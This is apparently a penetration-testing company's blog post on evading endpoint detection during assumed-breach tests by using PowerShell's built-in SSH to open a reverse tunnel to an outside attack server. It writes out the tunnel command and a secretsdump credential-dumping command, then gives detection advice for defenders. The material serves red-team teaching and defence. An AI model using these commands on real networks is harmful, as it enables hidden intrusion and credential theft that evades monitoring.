SSH Port Forwarding

Intro

More and more clients have asked us to perform internal penetration testing from an “assumed breach” perspective. That is, starting an internal penetration test from a client workstation, VDI, or server that has already been “compromised,” and assessing the organization’s exposure and the potential impacts of such a breach. Assumed breach scenarios are an interesting deviation from the “standard” internal penetration test, where we attach our own system to a client’s internal network and never have to concern ourselves with bypassing endpoint controls like EDR or AV locally. There’s merit in either approach, but this post will focus on a specific, and trivial, method we’ve used to fly under the radar of even the most sophisticated EDR solutions. Most importantly, we offer some tips on what you can do to prevent it from happening on your endpoints.

The Problem

Executing common internal penetration testing tools on a Windows system running AV or EDR is usually a pain. Today, most AV and EDR solutions, even with out of the box configuration, will stop the most common tools from running. So, what can we do to hide? There are a lot of answers to this question, but the simplest is don’t run the toolkit on the system that’s watching us. Instead, use the client system we have access to as a proxy for our traffic. SSH port forwarding is a relatively easy way to accomplish this.

SSH port forwarding, also known as SSH tunneling, can be used to forward traffic through a Secure Shell (SSH) connection. Since it can work bidirectionally, it allows us to setup a listener on a remote attack server (with no EDR or AV to worry about) that we can then point our toolkit at. When we execute our pen testing tools on our own server, the traffic is forwarded through the SSH tunnel back to the “compromised” system where we have access to the internal network.

Here's a quick diagram to help make sense of what’s happening:

But if we don’t have local administrator rights on the client’s Windows system, how do we get an SSH client installed and running?

Thank you, Microsoft!

"PowerShell is – by far – the most securable and security-transparent shell, scripting language, or programming language available." Yes, Microsoft really said this.

Ever since the release of Windows 10 v1809 (November 13, 2018), SSH has been enabled in PowerShell by default, meaning local admin rights are not required to use it. This means we can easily point common pen testing tools like Impacket and CrackMapExec at other hosts on the internal network without having to worry about an EDR solution getting in the way or notifying the blue team.

Here's a simple example where we start by initiating the SSH connection from PowerShell with instructions for a remote port forward:

ssh -R 445:10.0.0.10:445 sshUser@attackServer

The -R option tells the SSH server (attackServer) to create a listener on port 445. Any traffic sent to that port by local users on the remote server will be routed back through the SSH tunnel and then sent to 10.0.0.10:445.

Once the port forward is established, all we need to do is point our tools on the remote server at the newly created listener (secretsdump is already configured to use port 445):

secretsdump.py admin:password@127.0.0.1

The example above is relatively basic and only scratches the surface of what is possible with this technique. Since we can direct traffic to any host:port on the internal network that the initial victim workstation can reach, we can leverage pen testing tools without ever executing those tools on a victim host.

Blue Team Considerations

Now that the fun part is over, how do we protect ourselves from this? It’s generally accepted that disabling PowerShell is a bad idea, even if you only plan to do it for certain users. If you have the capability to create your own alert logic in your organization’s EDR, a command line alert for SSH use in PowerShell is worth considering. Since most non-IT users will never have a legitimate use for PowerShell’s SSH functionality, an alert like this shouldn’t create too much noise.

Since PowerShell isn’t the only way to SSH out of an environment, consider alerting on SSH traffic at the network level when it originates from segments where the protocol isn’t expected. In general, it’s never a bad idea to keep tabs on the type of traffic leaving your environment. We’ve performed incident response for multiple clients who have discovered they were breached because someone decided to look at NetFlow data on a whim and saw massive amounts of SCP traffic hitting non-domestic servers.

If you aren’t confident your blue team would detect and stop this technique then drop us a line.